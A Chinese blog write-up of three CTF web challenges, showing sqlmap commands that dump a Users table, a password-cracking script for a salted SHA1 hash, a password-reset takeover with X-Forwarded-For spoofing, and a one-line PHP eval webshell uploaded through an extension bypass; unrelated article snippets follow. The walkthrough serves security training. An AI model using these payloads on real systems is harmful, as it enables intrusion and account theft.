攻防世界题目练习——Web引导模式(五)(持续更新)

题目目录

    • 1. FlatScience
    • 2. bug
    • 3. Confusion1

1. FlatScience

参考博客:
攻防世界web进阶区FlatScience详解
题目点进去如图,点击链接只能看到一些论文pdf
在这里插入图片描述
用dirsearch和御剑扫描出一些隐藏文件:
在这里插入图片描述
在这里插入图片描述
robots.txt:
在这里插入图片描述
admin.php:
在这里插入图片描述
login.php:
在这里插入图片描述
f12查看源码:
admin.php提示无法绕过:
在这里插入图片描述
login.php提示调试参数:
根据参考博客:
攻防世界-FlatScience
知道这里的提示指的是“在页面传入一个debug参数”
在这里插入图片描述
查看源码如图:
在这里插入图片描述
根据源码可以看到,密码在后面拼接上"Salz!"后进行sha1加密。

于是随便提交用户名密码提交抓包,把包复制进sql.txt用sqlmap跑一下,发现参数user存在sql注入:

python sqlmap.py -r sql.txt --batch

在这里插入图片描述
尝试跑数据库:
python sqlmap.py -r sql.txt --batch --dbs
提示说SQLite数据库不能列数据库,只能列表:
在这里插入图片描述
于是:

python sqlmap.py -r sql.txt --batch --tables

在这里插入图片描述

python sqlmap.py -r sql.txt --batch -T Users --columns

在这里插入图片描述

python sqlmap.py -r sql.txt --batch -T Users -C name,password --dump

可以看到密码是sha1加密:
在这里插入图片描述
根据第一篇参考博客说密码可能和pdf有关

脚本参考:
[CTF题目总结-web篇]攻防世界:flatscience

如何发现密码与pdf有关有关:
攻防世界-FlatScience
查看数据库的hint字段:
在这里插入图片描述
首先爬取所有pdf文件:
get_pdf.py

# coding=gbk
import urllib.request
import reallHtml = []
count = 0
pat_pdf = re.compile("href=\"[0-9a-z]+.pdf\"")
pat_html = re.compile("href=\"[0-9]/index\.html\"")def my_reptile(url_root, html):global pat_pdfglobal pat_htmlhtml = url_root + htmlif (isnew(html)):allHtml.append(html)print("[*]starting to crawl site:{}".format(html))with urllib.request.urlopen(html) as f:response = f.read().decode('utf-8')pdf_url = pat_pdf.findall(response)for p in pdf_url:p = p[6:len(p) - 1]download_pdf(html + p)html_url = pat_html.findall(response)for h in html_url:h = h[6:len(h) - 11]my_reptile(html, h)def download_pdf(pdf):global countfd = open(str(count) + '.pdf', 'wb')count += 1print("[+]downloading pdf from site:{}".format(pdf))with urllib.request.urlopen(pdf) as f:fd.write(f.read())fd.close()def isnew(html):global allHtmlfor h in allHtml:if (html == h):return Falsereturn Trueif __name__ == "__main__":my_reptile("http://61.147.171.105:60027/", '')

然后提取pdf的内容保存至txt文件:
安装pdfminer模块:
Python模块安装:Python3安装pdfminer3k
模块使用:
Python 第三方模块之 PDFMiner(pdf信息提取)

pip install pdfminer3k

pdf2txt.py

from pdfminer.pdfparser import PDFParser, PDFDocument
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import PDFPageAggregator
from pdfminer.layout import LTTextBoxHorizontal, LAParams
from pdfminer.pdfinterp import PDFTextExtractionNotAllowed
import osdef pdf2txt(pdfFile, txtFile):print('[+]converting {} to {}'.format(pdfFile, txtFile))fd_txt = open(txtFile, 'w', encoding='utf-8')fd_pdf = open(pdfFile, 'rb')parser = PDFParser(fd_pdf)doc = PDFDocument()parser.set_document(doc)doc.set_parser(parser)doc.initialize()manager = PDFResourceManager()laParams = LAParams()device = PDFPageAggregator(manager, laparams=laParams)interpreter = PDFPageInterpreter(manager, device)for page in doc.get_pages():interpreter.process_page(page)layout = device.get_result()for x in layout:if (isinstance(x, LTTextBoxHorizontal)):fd_txt.write(x.get_text())fd_txt.write('\n')fd_pdf.close()fd_txt.close()print('[-]finished')def crazyWork():print('[*]starting my crazy work')files = []for f in os.listdir():if (f.endswith('.pdf')):files.append(f[0:len(f) - 4])for f in files:pdf2txt(f + '.pdf', f + '.txt')if __name__ == '__main__':crazyWork()

sha1_passwd_search.py

import os
import hashlibdef searchPassword():print('[*]starting to search the word')for file in os.listdir():if (file.endswith('.txt')):print('[+]searching {}'.format(file))with open(file, 'r', encoding='utf-8') as f:for line in f:words = line.split(' ')for word in words:if (hashlib.sha1((word + 'Salz!').encode('utf-8')).hexdigest() =='3fab54a50e770d830c0416df817567662a9dc85c'):print('[@]haha,i find it:{}'.format(word))exit()if __name__ == '__main__':searchPassword()

在这里插入图片描述
用这个密码登录admin.php,获得flag:
在这里插入图片描述

2. bug

进入题目,如图:
在这里插入图片描述
没有头绪,御剑扫出来的config.php和core.php都无法直接访问看到内容,f12也看不到源码,也不存在robots.txt文件:
在这里插入图片描述
先注册一个账号试试:
在这里插入图片描述
注册成功:
在这里插入图片描述
试一试findpwd:
在这里插入图片描述
提示错误:
在这里插入图片描述
猜测可能是因为权限不够?
登录看看:
在这里插入图片描述
用户不存在,奇怪,这应该就是题目的"bug"吧。
查看注册后的response:
在这里插入图片描述
注意到一行代码window.history.go(-1),搜了一下看看:
vue中使用history.go(-1)和history.back()两种返回上一页的区别
博客里指出,
go(-1):原页面表单中的内容会丢失;
history.go(-1):后退+刷新
也就是说 window.history.go(-1)导致原来注册的表单的注册信息内容丢失。

然后就没有头绪了,搜搜解析吧 ^ ^

【愚公系列】2023年06月 攻防世界-Web(bug)
【攻防世界WEB】难度五星15分进阶题:bug
原来findpwd是找回密码的意思啊T_T
根据参考博客,【注册】和【找回密码】涉及到的知识点是越权。
重新注册后登录成功:
在这里插入图片描述
修改密码时要求长度大于等于6:
在这里插入图片描述
报文如图:
在这里插入图片描述
重新进入登陆页面,直接更改abc的密码,这个忘记密码是不需要原密码的,并且一开始用出生日期验证身份后,在修改密码的表单中只提交了用户名与新密码,cookie中也没有对身份的认证,就可以修改用户名为admin来实现修改admin的密码:
在这里插入图片描述
在这里插入图片描述
用该密码可以成功登录admin账户:
在这里插入图片描述
想点击Manage的时候,弹出提示说ip不允许:
在这里插入图片描述
于是更改ip,抓包修改X-Forwarded-For:127.0.0.1本地访问。
参考文章:
【愚公系列】2023年06月 攻防世界-Web(bug)
【攻防世界WEB】难度五星15分进阶题:bug
X-Forwarded-For绕过服务器IP地址过滤
HTTP 请求头中的 X-Forwarded-For
X-Forwarded-For用来表示 HTTP 请求端真实 IP。
在这里插入图片描述
可以看到成功进入manager页面:
在这里插入图片描述
页面里什么都没有,f12打开源码看看:
在这里插入图片描述

index.php?module=filemanage&do=???

根据博客【攻防世界WEB】难度五星15分进阶题:bug的讲解,这里主要要注意的是【filemanage,文件管理】,这是一个提示,一般涉及到文件管理能够利用的就是文件上传,所以这里考虑do=upload
在这里插入图片描述
先随便上传一个图片马:
在这里插入图片描述
文件后缀仍为png,而返回报文提示仍检验出了是php文件,所以修改一下内容,改成短语句试试:
在这里插入图片描述
对php的检测消失了,并且提示”you know what i want“,外面的文件后缀已经是jpg了,也就是说文件内容需要有图片的内容,加上图片文件头试试:
在这里插入图片描述
不行,看来得用真正的图片,用二进制编辑工具在图片文件末尾加上这个短语句尝试:
在这里插入图片描述
还是这个提示,可能我理解错了,文件上传页面的标题是"just image?",也就是想要的不只是图片,可能要在文件后缀上试试改为php相关的。
在这里插入图片描述
文件后缀改为php或者pHp都是可以被识别出php的,改成php3不会但仍会出现提示”you know what i want“,不懂,再看看参考博客吧TT
【愚公系列】2023年06月 攻防世界-Web(bug)说本题考点是用javascript执行php代码,哎…

<script language="php"> @eval($_POST['1']); </script>

php3还不能被识别为php文件,需要php4或者php5,下次记得多试一下数字好了…
这个题文件后缀不能直接用php或者pHp,会提示说这是一个php文件,但是又需要后缀能够被识别为php文件,也就是要用不那么明显的php后缀但又必须能为识别为php的后缀。
在这里插入图片描述

3. Confusion1

参考博客:
xctf攻防世界 Web高手进阶区 Confusion1

题目如图:
在这里插入图片描述

一开始一通乱点,啥都没发现,dianjinleblue-whale.me都没发现已经不是题目的链接范围了…
所以只能在Home Login Register里尝试,Home就是初始页面,Login Register点开都显示not found,我还以为真不存在呢,原来要查看源码,遇事不决,查看源码!
在这里插入图片描述
果然在源码里看到里提示,应该是指出flag在/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt文件里,所以要想办法能查看到该文件,根据参考博客,这里应该是考察模板注入,但是我已经忘记了,去看看之前做的题复习一下=_=

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/216351.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

配电站房智慧化改造

随着科技的发展和工业化自动化的不断提高&#xff0c;传统的配电室已经不能满足现代工业的需求。配电站房的智慧化改造可以提高电力系统的运行效率和安全性&#xff0c;依托电易云-智慧电力物联网实现配电房无人值守。以下是配电站房智慧化改造的一些主要方面&#xff1a; 设备…

数据分享 I 全国市级商品房屋销售数据,shp/excel格式,2005-2020年数据

基本信息. 数据名称: 全国市级商品房屋销售数据 数据格式: Shp、excel 数据时间: 2005-2020年 数据几何类型: 面 数据坐标系: WGS84坐标系 数据来源&#xff1a;网络公开数据 数据字段&#xff1a; 序号字段名称字段说明1spxse商品房销售额&#xff08;亿元&#xf…

css 表示具有特定类或者其他属性的某种标签类型的元素

需求 通过 css 选择器获取某种标签&#xff08;如&#xff1a;div、input 等&#xff09;具有某个属性&#xff08;如&#xff1a;class、id 等&#xff09;的元素&#xff0c;从而修改其样式。 代码 通过 [标签].[属性] 的方式来获取 <div class"test">&l…

合封芯片开发就找宇凡微,提供合封芯片技术支持与资讯

一、引言 随着科技的迅速发展&#xff0c;芯片在各种电子设备中的地位日益凸显&#xff0c;其中越来越受关注的合封芯片给芯片和pcb厂商带来惊喜 合封芯片是指将多个芯片&#xff08;或其他电子元件&#xff09;封装在一个芯片封装体中的芯片。这种封装方式可以实现多个芯片的…

APP自动化测试工具大全

一、UI自动化测试工具 1. uiautomator2 openatx开源的ui自动化工具&#xff0c;支持Android和iOS。主要面向的编程语言是Python&#xff0c;API设计简洁易用&#xff0c;在开源社区也是很受欢迎。 安装&#xff1a; pip install --upgrade --pre uiautomator2# Or you can …

ArcGIS无法绘制一个或多个图层

背景&#xff1a;在导入一份数据时候&#xff0c;arcmap出现无法绘制一个或多个图层的错误&#xff0c;...点数少于要素所要求的的数量&#xff0c;查阅了半天资料发现是制作数据时候拓扑关系错误造成&#xff0c;现将处理方法详细记录如下&#xff1a; 1.原数据&#xff1a; …

北斗卫星助力消防救援实现精确升级

北斗卫星助力消防救援实现精确升级 在浙江省湖州市&#xff0c;当地消防支队建设了基于北斗系统的“智慧用水”等湖州市“智慧消防”综合信息指挥平台&#xff0c;初步实现了火灾精确预警、精确防范、精确指挥和精确处置。 湖州市“智慧用水系统”通过将北斗系统与地理信息管网…

plf::list原理分析

plf::list是一个比std::list性能要好的另外一种实现&#xff0c;根据作者的性能测试&#xff1a; 293% faster insertion 57% faster erasure 17% faster iteration 77% faster sorting 70% faster reversal 91% faster remove/remove_if 63% faster unique 811% faster clear …

【分享】7-Zip软件如何压缩文件?

7-Zip是一款完全免费的解压缩软件&#xff0c;不仅拥有自己独特的格式&#xff0c;还支持众多主流压缩格式&#xff0c;相比其他解压缩软件&#xff0c;它的压缩率更好&#xff0c;压缩速度更快。今天来分享一下如何使用7-Zip软件来压缩文件。 首先&#xff0c;我们可以到7-Zi…

SpringBoot热部署

SpringBoot热部署 借鉴链接&#x1f517;&#xff1a;SpringBoot中的热部署 添加devtools依赖和pom插件 <!-- devtools 依赖 --> <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-devtools</artifactId&…

C语言——结构体

一、结构的基础知识 结构是一些值的集合&#xff0c;这些值称为成员变量结构的&#xff0c;每个成员可以是不同类型的变量。 二、结构的声明 struct tag {member-list; }variable-list; 描述一个学生&#xff1a; typedef struct Student {char name[20]; //姓名int age; …

SpringBoot入门及整合

前言 Spring Boot是一个基于Spring框架的快速开发脚手架&#xff0c;它简化了Spring应用的初始化和搭建过程&#xff0c;提供了众多便利的功能和特性并且使用"习惯优于配置"的理念&#xff0c;通过提供默认设置来快速搭建应用&#xff0c;同时也保留了灵活性以进行定…

IntelliJ IDEA创建一个spark的项目

在开始之前&#xff0c;需要说明的是 要跑通基本的wordcount程序&#xff0c;是不需要在windows上安装 hadoop 和spark的&#xff0c;因为idea在跑程序的时候&#xff0c;会按照 pom.xml配置文件&#xff0c;从指定的 repository源&#xff0c;按照properties指定的版本&#x…

系统架构设计师教程(一)绪论

系统架构设计师 1.1 系统架构概述1.1.1 系统架构的定义及发展历程1.1.2 软件架构的常用分类及建模方法1、软件架构常用分类2、系统架构的常用建模方法 1.2 系统架构设计师概述1.3 如何成为一名好的系统架构设计师 1.1 系统架构概述 自1946年第一台计算机诞生以来&#xff0c;计…

LVDS硬件设计

LVDS接口有: 1、四对信号传输差分线&#xff0c;最多传输 4*728bit数据 2、一对时钟。 3、一对差分线有8位&#xff0c;但是最多传输7 bit 的数据。 4、一个LVDS通道只能传输8bit的RGB信号&#xff08;3*8 3 27bit&#xff09;。高于8Bits 就需要两个channel。 5、LVDS的时钟一…

CSS import 规则

导入 “navigation.css” 样式到当前的样式表&#xff1a; import “navigation.css”; /* 使用字符串 / 或者 import url(“navigation.css”); / 使用 url 地址 */ 属性定义及使用说明 CSS import 用于从其他样式表导入样式规则。 import 规则必须在 CSS 文档的头部&#xff…

怎么用qq邮箱发送大视频文件?一分钟解决!

QQ邮箱发送文件时&#xff0c;单个文件的大小不能超过32MB。但是&#xff0c;如果用户发送的邮件包含多个附件&#xff0c;则所有附件的总大小不能超过2GB。所以&#xff0c;下面就向大家介绍这两种不同的文件大小情况如何发送&#xff0c;下面是三种方法具体的操作。 方法一&…

国产服务器网卡和进口芯片服务器网卡性能测试

服务器网卡的主要功能是管理和处理网络流量&#xff0c;要求数据传输稳定、可靠&#xff0c;性能卓越。受前两年缺芯浪潮影响&#xff0c;国产芯片急流勇进&#xff0c;不断取得新突破和新进展&#xff0c;成为工业以太网控制器领域冉冉升起的新星&#xff0c;为用户提供更多选…

LeetCode-654. 最大二叉树【栈 树 数组 分治 二叉树 单调栈】

LeetCode-654. 最大二叉树【栈 树 数组 分治 二叉树 单调栈】 题目描述&#xff1a;解题思路一&#xff1a;递归&#xff0c;这个问题的难点在于如何找到每个子数组的最大值。此处用的是暴力查找最大值&#xff0c;然后递归构建左右子树。解题思路二&#xff1a;单调栈&#xf…

LinuxC中进程通信

LinuxC中进程通信 信号&#xff08;Signals&#xff09;&#xff1a;Linux 提供了信号机制&#xff0c;允许一个进程向另一个进程发送信号以通知特定事件的发生。这是一种轻量级的通信机制&#xff0c;通常用于处理异步事件。您可以使用 kill 命令或 kill 函数来发送信号&…